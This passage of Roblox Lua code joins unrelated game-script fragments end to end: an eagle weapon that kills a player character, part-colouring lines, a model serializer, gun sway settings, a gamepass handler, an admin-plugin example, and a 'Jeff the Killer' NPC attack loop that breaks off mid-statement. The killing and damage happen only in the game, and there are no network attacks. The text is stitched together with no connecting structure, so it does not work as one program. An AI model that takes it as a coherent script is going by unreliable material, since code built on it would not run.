TargetHead.Position).Magnitude if Distance <= 10 then TargetReached = true break end Direction = CFrame.new(Eagle.Position, TargetHead.Position) BodyGyro.cframe = Direction BodyPosition.position = (BodyPosition.position + Direction.lookVector * Speed) end wait(Rate) end if TargetReached and not TargetFailed then local TargetValue = GetTarget() if TargetValue then local TargetCharacter = TargetValue.Character local TargetHead = TargetCharacter:FindFirstChild("Head") local TargetHumanoid = TargetCharacter:FindFirstChild("Humanoid") if TargetHead and TargetHumanoid and TargetHumanoid.Health > 0 then local GripWeld = Create("Weld"){ Part0 = TargetHead, Part1 = Eagle, C0 = CFrame.new(0, ((TargetHead.Size.Y / 2) + (Eagle.Size.Y / 2)), 0) * CFrame.Angles(Eagle.CFrame:toEulerAnglesXYZ()), C1 = CFrame.new(0, 0, 0), Parent = Eagle, } TargetHumanoid.Sit = true local NewPosition = ((Eagle.CFrame * CFrame.Angles(0, (math.pi * 2), 0) + Vector3.new(0, 1000, 0)) * CFrame.new(0, 0, 1000)) Direction = CFrame.new(Eagle.Position, NewPosition.p) local StartTick = tick() local Killed = false while Eagle and Eagle.Parent and BodyPosition.Parent and BodyGyro.Parent do if (tick() - StartTick) >= 5 and not Killed then Killed = true Debris:AddItem(Eagle, 5) local CurrentCreator = GetCreator() local CurrentTarget = GetTarget() if CurrentTarget and CheckIfTargetAlive() then local TargetHumanoid = CurrentTarget.Humanoid if CurrentCreator then UntagHumanoid(TargetHumanoid) TagHumanoid(TargetHumanoid, CurrentCreator.Player) end TargetHumanoid:TakeDamage(TargetHumanoid.MaxHealth) end if GripWeld and GripWeld.Parent then GripWeld:Destroy() end end BodyGyro.cframe = Direction BodyPosition.position = (Eagle.Position + Direction.lookVector * (Speed * 8)) wait(Rate) end end end end
--// Unused (Don't delete)
RestMode = false; AttachmentsEnabled = false; UIScope = false; CanSlideLock = false;
--------SIDE SQUARES--------
game.Workspace.sidesquares.l11.BrickColor = BrickColor.new(1013) game.Workspace.sidesquares.l12.BrickColor = BrickColor.new(1013) game.Workspace.sidesquares.l21.BrickColor = BrickColor.new(1013) game.Workspace.sidesquares.l31.BrickColor = BrickColor.new(1013) game.Workspace.rightpalette.l11.BrickColor = BrickColor.new(1013) game.Workspace.rightpalette.l12.BrickColor = BrickColor.new(1013) game.Workspace.rightpalette.l21.BrickColor = BrickColor.new(1013) game.Workspace.rightpalette.l22.BrickColor = BrickColor.new(1013) game.Workspace.sidesquares.l13.BrickColor = BrickColor.new(1023) game.Workspace.sidesquares.l23.BrickColor = BrickColor.new(1023) game.Workspace.sidesquares.l33.BrickColor = BrickColor.new(1023) game.Workspace.sidesquares.l34.BrickColor = BrickColor.new(1023) game.Workspace.rightpalette.l13.BrickColor = BrickColor.new(1023) game.Workspace.rightpalette.l23.BrickColor = BrickColor.new(1023) game.Workspace.rightpalette.l14.BrickColor = BrickColor.new(1023) game.Workspace.rightpalette.l24.BrickColor = BrickColor.new(1023) game.Workspace.sidesquares.l14.BrickColor = BrickColor.new(106) game.Workspace.sidesquares.l15.BrickColor = BrickColor.new(106) game.Workspace.sidesquares.l24.BrickColor = BrickColor.new(106) game.Workspace.sidesquares.l25.BrickColor = BrickColor.new(106) game.Workspace.sidesquares.l35.BrickColor = BrickColor.new(106) game.Workspace.rightpalette.l15.BrickColor = BrickColor.new(106) game.Workspace.rightpalette.l25.BrickColor = BrickColor.new(106) game.Workspace.rightpalette.l16.BrickColor = BrickColor.new(106) game.Workspace.rightpalette.l26.BrickColor = BrickColor.new(106)
-- Import services
local Tool = script.Parent.Parent local Support = require(Tool.Libraries.SupportLibrary); Support.ImportServices(); local Types = { Part = 0, WedgePart = 1, CornerWedgePart = 2, VehicleSeat = 3, Seat = 4, TrussPart = 5, SpecialMesh = 6, Texture = 7, Decal = 8, PointLight = 9, SpotLight = 10, SurfaceLight = 11, Smoke = 12, Fire = 13, Sparkles = 14, Model = 15, Folder = 18 }; local DefaultNames = { Part = 'Part', WedgePart = 'Wedge', CornerWedgePart = 'CornerWedge', VehicleSeat = 'VehicleSeat', Seat = 'Seat', TrussPart = 'Truss', SpecialMesh = 'Mesh', Texture = 'Texture', Decal = 'Decal', PointLight = 'PointLight', SpotLight = 'SpotLight', SurfaceLight = 'SurfaceLight', Smoke = 'Smoke', Fire = 'Fire', Sparkles = 'Sparkles', Model = 'Model', Folder = 'Folder' }; function Serialization.SerializeModel(Items) -- Returns a serialized version of the given model -- Filter out non-serializable items in `Items` local SerializableItems = {}; for Index, Item in ipairs(Items) do table.insert(SerializableItems, Types[Item.ClassName] and Item or nil); end; Items = SerializableItems; -- Get a snapshot of the content local Keys = Support.FlipTable(Items); local Data = {}; Data.Version = 3; Data.Items = {}; -- Serialize each item in the model for Index, Item in pairs(Items) do if Item:IsA 'BasePart' then local Datum = {}; Datum[1] = Types[Item.ClassName]; Datum[2] = Keys[Item.Parent] or 0; Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name; Datum[4] = Item.Size.X; Datum[5] = Item.Size.Y; Datum[6] = Item.Size.Z; Support.ConcatTable(Datum, { Item.CFrame:components() }); Datum[19] = Item.Color.r; Datum[20] = Item.Color.g; Datum[21] = Item.Color.b; Datum[22] = Item.Material.Value; Datum[23] = Item.Anchored and 1 or 0; Datum[24] = Item.CanCollide and 1 or 0; Datum[25] = Item.Reflectance; Datum[26] = Item.Transparency; Datum[27] = Item.TopSurface.Value; Datum[28] = Item.BottomSurface.Value; Datum[29] = Item.FrontSurface.Value; Datum[30] = Item.BackSurface.Value; Datum[31] = Item.LeftSurface.Value; Datum[32] = Item.RightSurface.Value; Data.Items[Index] = Datum; end; if Item.ClassName == 'Part' then local Datum = Data.Items[Index]; Datum[33] = Item.Shape.Value; end; if Item.ClassName == 'VehicleSeat' then local Datum = Data.Items[Index]; Datum[33] = Item.MaxSpeed; Datum[34] = Item.Torque; Datum[35] = Item.TurnSpeed; end; if Item.ClassName == 'TrussPart' then local Datum = Data.Items[Index]; Datum[33] = Item.Style.Value; end; if Item.ClassName == 'SpecialMesh' then local Datum = {}; Datum[1] = Types[Item.ClassName]; Datum[2] = Keys[Item.Parent] or 0; Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name; Datum[4] = Item.MeshType.Value; Datum[5] = Item.MeshId; Datum[6] = Item.TextureId; Datum[7] = Item.Offset.X; Datum[8] = Item.Offset.Y; Datum[9] = Item.Offset.Z; Datum[10] = Item.Scale.X; Datum[11] = Item.Scale.Y; Datum[12] = Item.Scale.Z; Datum[13] = Item.VertexColor.X; Datum[14] = Item.VertexColor.Y; Datum[15] = Item.VertexColor.Z; Data.Items[Index] = Datum; end; if Item:IsA 'Decal' then local Datum = {}; Datum[1] = Types[Item.ClassName]; Datum[2] = Keys[Item.Parent] or 0; Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name; Datum[4] = Item.Texture; Datum[5] = Item.Transparency; Datum[6] = Item.Face.Value; Data.Items[Index] = Datum; end; if Item.ClassName == 'Texture' then local Datum = Data.Items[Index]; Datum[7] = Item.StudsPerTileU; Datum[8] = Item.StudsPerTileV; end; if Item:IsA 'Light' then local Datum = {}; Datum[1] = Types[Item.ClassName]; Datum[2] = Keys[Item.Parent] or 0; Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name; Datum[4] = Item.Brightness; Datum[5] = Item.Color.r; Datum[6] = Item.Color.g; Datum[7] = Item.Color.b; Datum[8] = Item.Enabled and 1 or 0; Datum[9] = Item.Shadows and 1 or 0; Data.Items[Index] = Datum; end; if Item.ClassName == 'PointLight' then local Datum = Data.Items[Index]; Datum[10] = Item.Range; end; if Item.ClassName == 'SpotLight' then local Datum = Data.Items[Index]; Datum[10] = Item.Range; Datum[11] = Item.Angle; Datum[12] = Item.Face.Value; end; if Item.ClassName == 'SurfaceLight' then local Datum = Data.Items[Index]; Datum[10] = Item.Range; Datum[11] = Item.Angle; Datum[12] = Item.Face.Value; end; if Item.ClassName == 'Smoke' then local Datum = {}; Datum[1] = Types[Item.ClassName]; Datum[2] = Keys[Item.Parent] or 0; Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name; Datum[4] = Item.Enabled and 1 or 0; Datum[5] = Item.Color.r; Datum[6] = Item.Color.g; Datum[7] = Item.Color.b; Datum[8] = Item.Size; Datum[9] = Item.RiseVelocity; Datum[10] = Item.Opacity; Data.Items[Index] = Datum; end; if Item.ClassName == 'Fire' then local Datum = {}; Datum[1] = Types[Item.ClassName]; Datum[2] = Keys[Item.Parent] or 0; Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name; Datum[4] = Item.Enabled and 1 or 0; Datum[5] = Item.Color.r; Datum[6] = Item.Color.g; Datum[7] = Item.Color.b; Datum[8] = Item.SecondaryColor.r; Datum[9] = Item.SecondaryColor.g; Datum[10] = Item.SecondaryColor.b; Datum[11] = Item.Heat; Datum[12] = Item.Size; Data.Items[Index] = Datum; end; if Item.ClassName == 'Sparkles' then local Datum = {}; Datum[1] = Types[Item.ClassName]; Datum[2] = Keys[Item.Parent] or 0; Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name; Datum[4] = Item.Enabled and 1 or 0; Datum[5] = Item.SparkleColor.r; Datum[6] = Item.SparkleColor.g; Datum[7] = Item.SparkleColor.b; Data.Items[Index] = Datum; end; if Item.ClassName == 'Model' then local Datum = {}; Datum[1] = Types[Item.ClassName]; Datum[2] = Keys[Item.Parent] or 0; Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name; Datum[4] = Item.PrimaryPart and Keys[Item.PrimaryPart] or 0; Data.Items[Index] = Datum; end; if Item.ClassName == 'Folder' then local Datum = {} Datum[1] = Types[Item.ClassName] Datum[2] = Keys[Item.Parent] or 0 Datum[3] = Item.Name == DefaultNames[Item.ClassName] and '' or Item.Name Data.Items[Index] = Datum end -- Spread the workload over time to avoid locking up the CPU if Index % 100 == 0 then wait(0.01); end; end; -- Return the serialized data return HttpService:JSONEncode(Data); end; function Serialization.InflateBuildData(Data) -- Returns an inflated version of the given build data local Build = {}; local Instances = {}; -- Create each instance for Index, Datum in ipairs(Data.Items) do -- Inflate BaseParts if Datum[1] == Types.Part or Datum[1] == Types.WedgePart or Datum[1] == Types.CornerWedgePart or Datum[1] == Types.VehicleSeat or Datum[1] == Types.Seat or Datum[1] == Types.TrussPart then local Item = Instance.new(Support.FindTableOccurrence(Types, Datum[1])); Item.Size = Vector3.new(unpack(Support.Slice(Datum, 4, 6))); Item.CFrame = CFrame.new(unpack(Support.Slice(Datum, 7, 18))); Item.Color = Color3.new(Datum[19], Datum[20], Datum[21]); Item.Material = Datum[22]; Item.Anchored = Datum[23] == 1; Item.CanCollide = Datum[24] == 1; Item.Reflectance = Datum[25]; Item.Transparency = Datum[26]; Item.TopSurface = Datum[27]; Item.BottomSurface = Datum[28]; Item.FrontSurface = Datum[29]; Item.BackSurface = Datum[30]; Item.LeftSurface = Datum[31]; Item.RightSurface = Datum[32]; -- Register the part Instances[Index] = Item; end; -- Inflate specific Part properties if Datum[1] == Types.Part then local Item = Instances[Index]; Item.Shape = Datum[33]; end; -- Inflate specific VehicleSeat properties if Datum[1] == Types.VehicleSeat then local Item = Instances[Index]; Item.MaxSpeed = Datum[33]; Item.Torque = Datum[34]; Item.TurnSpeed = Datum[35]; end; -- Inflate specific TrussPart properties if Datum[1] == Types.TrussPart then local Item = Instances[Index]; Item.Style = Datum[33]; end; -- Inflate SpecialMesh instances if Datum[1] == Types.SpecialMesh then local Item = Instance.new('SpecialMesh'); Item.MeshType = Datum[4]; Item.MeshId = Datum[5]; Item.TextureId = Datum[6]; Item.Offset = Vector3.new(unpack(Support.Slice(Datum, 7, 9))); Item.Scale = Vector3.new(unpack(Support.Slice(Datum, 10, 12))); Item.VertexColor = Vector3.new(unpack(Support.Slice(Datum, 13, 15))); -- Register the mesh Instances[Index] = Item; end; -- Inflate Decal instances if Datum[1] == Types.Decal or Datum[1] == Types.Texture then local Item = Instance.new(Support.FindTableOccurrence(Types, Datum[1])); Item.Texture = Datum[4]; Item.Transparency = Datum[5]; Item.Face = Datum[6]; -- Register the Decal Instances[Index] = Item; end; -- Inflate specific Texture properties if Datum[1] == Types.Texture then local Item = Instances[Index]; Item.StudsPerTileU = Datum[7]; Item.StudsPerTileV = Datum[8]; end; -- Inflate Light instances if Datum[1] == Types.PointLight or Datum[1] == Types.SpotLight or Datum[1] == Types.SurfaceLight then local Item = Instance.new(Support.FindTableOccurrence(Types, Datum[1])); Item.Brightness = Datum[4]; Item.Color = Color3.new(unpack(Support.Slice(Datum, 5, 7))); Item.Enabled = Datum[8] == 1; Item.Shadows = Datum[9] == 1; -- Register the light Instances[Index] = Item; end; -- Inflate specific PointLight properties if Datum[1] == Types.PointLight then local Item = Instances[Index]; Item.Range = Datum[10]; end; -- Inflate specific SpotLight properties if Datum[1] == Types.SpotLight then local Item = Instances[Index]; Item.Range = Datum[10]; Item.Angle = Datum[11]; Item.Face = Datum[12]; end; -- Inflate specific SurfaceLight properties if Datum[1] == Types.SurfaceLight then local Item = Instances[Index]; Item.Range = Datum[10]; Item.Angle = Datum[11]; Item.Face = Datum[12]; end; -- Inflate Smoke instances if Datum[1] == Types.Smoke then local Item = Instance.new('Smoke'); Item.Enabled = Datum[4] == 1; Item.Color = Color3.new(unpack(Support.Slice(Datum, 5, 7))); Item.Size = Datum[8]; Item.RiseVelocity = Datum[9]; Item.Opacity = Datum[10]; -- Register the smoke Instances[Index] = Item; end; -- Inflate Fire instances if Datum[1] == Types.Fire then local Item = Instance.new('Fire'); Item.Enabled = Datum[4] == 1; Item.Color = Color3.new(unpack(Support.Slice(Datum, 5, 7))); Item.SecondaryColor = Color3.new(unpack(Support.Slice(Datum, 8, 10))); Item.Heat = Datum[11]; Item.Size = Datum[12]; -- Register the fire Instances[Index] = Item; end; -- Inflate Sparkles instances if Datum[1] == Types.Sparkles then local Item = Instance.new('Sparkles'); Item.Enabled = Datum[4] == 1; Item.SparkleColor = Color3.new(unpack(Support.Slice(Datum, 5, 7))); -- Register the instance Instances[Index] = Item; end; -- Inflate Model instances if Datum[1] == Types.Model then local Item = Instance.new('Model'); -- Register the model Instances[Index] = Item; end; -- Inflate Folder instances if Datum[1] == Types.Folder then local Item = Instance.new('Folder') -- Register the folder Instances[Index] = Item end end; -- Set object values on each instance for Index, Datum in pairs(Data.Items) do -- Get the item's instance local Item = Instances[Index]; -- Set each item's parent and name if Item and Datum[1] <= 18 then Item.Name = (Datum[3] == '') and DefaultNames[Item.ClassName] or Datum[3]; if Datum[2] == 0 then table.insert(Build, Item); else Item.Parent = Instances[Datum[2]]; end; end; -- Set model primary parts if Item and Datum[1] == 15 then Item.PrimaryPart = (Datum[4] ~= 0) and Instances[Datum[4]] or nil; end; end; -- Return the model return Build; end;
--// Walk and Sway
local L_108_ local L_109_ = 0.6 local L_110_ = 0.05 -- speed local L_111_ = -0.1 -- height local L_112_ = 0 local L_113_ = 0 local L_114_ = 35 --This is the limit of the mouse input for the sway local L_115_ = -9 --This is the magnitude of the sway when you're unaimed local L_116_ = -9 --This is the magnitude of the sway when you're aimed
-- References
Support.ImportServices(); SyncAPI = Tool.SyncAPI; Player = Players.LocalPlayer; local RunService = game:GetService('RunService')
--[[ NVNA Constraint Type: Motorcycle The Bike Chassis | Build: 1 Version: 1 Avxnturador | NVNA HAYASHl | Enjin Please read the README for updates. --]]
local Tune = {}
-- Gamepasses
for i,v in pairs(RS.GamepassIDs:GetChildren()) do MS.PromptGamePassPurchaseFinished:Connect(function(plr,ido,purchased) if purchased and v.Value == ido then if v.Name == "TripleOpen" then plr.Data.TripleEggOwned.Value = true elseif v.Name == "AutoOpen" then plr.Data.AutoEggOwned.Value = true elseif v.Name == "ExtraEquipped" then plr.Data.MaxEquip.Value = RS.Pets.Settings.DefaultMaxEquipped.Value + 4 elseif v.Name == "ExtraStorage" then plr.Data.MaxStorage.Value = RS.Pets.Settings.DefaultMaxStorage.Value + 30 end end end) game.Players.PlayerAdded:Connect(function(plr) local Data = plr:WaitForChild("Data", math.huge) if MS:UserOwnsGamePassAsync(plr.UserId, v.Value) then if v.Name == "TripleOpen" then plr.Data.TripleEggOwned.Value = true elseif v.Name == "AutoOpen" then plr.Data.AutoEggOwned.Value = true elseif v.Name == "ExtraEquipped" then plr.Data.MaxEquip.Value = RS.Pets.Settings.DefaultMaxEquipped.Value + 4 elseif v.Name == "ExtraStorage" then plr.Data.MaxStorage.Value = RS.Pets.Settings.DefaultMaxStorage.Value + 30 end end end) end
--- Returns an array of the names of all registered types (not including aliases)
function Registry:GetTypeNames () local typeNames = {} for typeName in pairs(self.Types) do typeNames[#typeNames + 1] = typeName end return typeNames end
--[[ SERVER PLUGINS' NAMES MUST START WITH "Server: " CLIENT PLUGINS' NAMES MUST START WITH "Client: " Plugins have full access to the server/client tables and most variables. You can use the MakePluginEvent to use the script instead of setting up an event. PlayerChatted will get chats from the custom chat and nil players. PlayerJoined will fire after the player finishes initial loading CharacterAdded will also fire after the player is loaded, it does not use the CharacterAdded event. service.HookEvent('PlayerChatted',function(msg,plr) print(msg..' from '..plr.Name..' Example Plugin') end) service.HookEvent('PlayerJoined',function(p) print(p.Name..' Joined! Example Plugin') end) service.HookEvent('CharacterAdded',function(plr) server.RunCommand('name',plr.Name,'BobTest Example Plugin') end) --]]
local TeleportService = game:GetService("TeleportService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local ServerStorage = game:GetService("ServerStorage") local Players = game:GetService("Players") local Resources = ServerStorage:WaitForChild("Resources") local Vest = Resources.Vest server = nil -- Mutes warnings about unknown globals service = nil return function() server.Commands.ExampleCommand = { Prefix = server.Settings.Prefix; -- Prefix to use for command Commands = {"example"}; -- Commands Args = {"arg1"}; -- Command arguments Description = "Example command"; -- Command Description Hidden = true; -- Is it hidden from the command list? Fun = false; -- Is it fun? AdminLevel = "Players"; -- Admin level; If using settings.CustomRanks set this to the custom rank name (eg. "Baristas") Function = function(plr,args) -- Function to run for command print("HELLO WORLD FROM AN EXAMPLE COMMAND :)") print("Player supplied args[1] "..tostring(args[1])) end } end
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]-- --[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]-- --[[end;]]
-- local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local AttackDebounce=false; local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife"); local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head"); local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart"); local WalkDebounce=false; local Notice=false; local JeffLaughDebounce=false; local MusicDebounce=false; local NoticeDebounce=false; local ChosenMusic; function FindNearestBae() local NoticeDistance=100; local TargetMain; for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then local TargetPart=TargetModel:FindFirstChild("Torso"); local FoundHumanoid; for _,Child in pairs(TargetModel:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then TargetMain=TargetPart; NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude; local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500) if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then Spawn(function() AttackDebounce=true; local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing")); local SwingChoice=math.random(1,2); local HitChoice=math.random(1,3); SwingAnimation:Play(); SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1)); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing"); SwingSound.Pitch=1+(math.random()*0.04); SwingSound:Play(); end; Wait(0.3); if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then FoundHumanoid:TakeDamage(30); if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); end; end; Wait(0.1); AttackDebounce=false; end); end; end; end; end; end; return TargetMain; end; while Wait(0)do local TargetPoint=JeffTheKillerHumanoid.TargetPoint; local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller}) local Jumpable=false; if Blockage then Jumpable=true; if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then local BlockageHumanoid; for _,Child in pairs(Blockage.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then BlockageHumanoid=Child; end; end; if Blockage and Blockage:IsA("Terrain")then local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0))); local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z); if CellMaterial==Enum.CellMaterial.Water then Jumpable=false; end; elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then Jumpable=false; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then JeffTheKillerHumanoid.Jump=true; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then Spawn(function() WalkDebounce=true; local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0)); local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller); if RayTarget then local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone(); JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead; JeffTheKillerHeadFootStepClone:Play(); JeffTheKillerHeadFootStepClone:Destroy(); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then Wait(0.5); elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then Wait(0.2); end end; WalkDebounce=false; end); end; local MainTarget=FindNearestBae(); local FoundHumanoid; if MainTarget then for _,Child in pairs(MainTarget.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then JeffTheKillerHumanoid.Jump=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then if not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; end; end; if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then local MusicChoice=math.random(1,2); if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1"); elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2"); end; if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then ChosenMusic.Volume=0.5; ChosenMusic:Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then if not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; end; end; if not MainTarget and not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; if not MainTarget and not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; if MainTarget then Notice=true; if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then 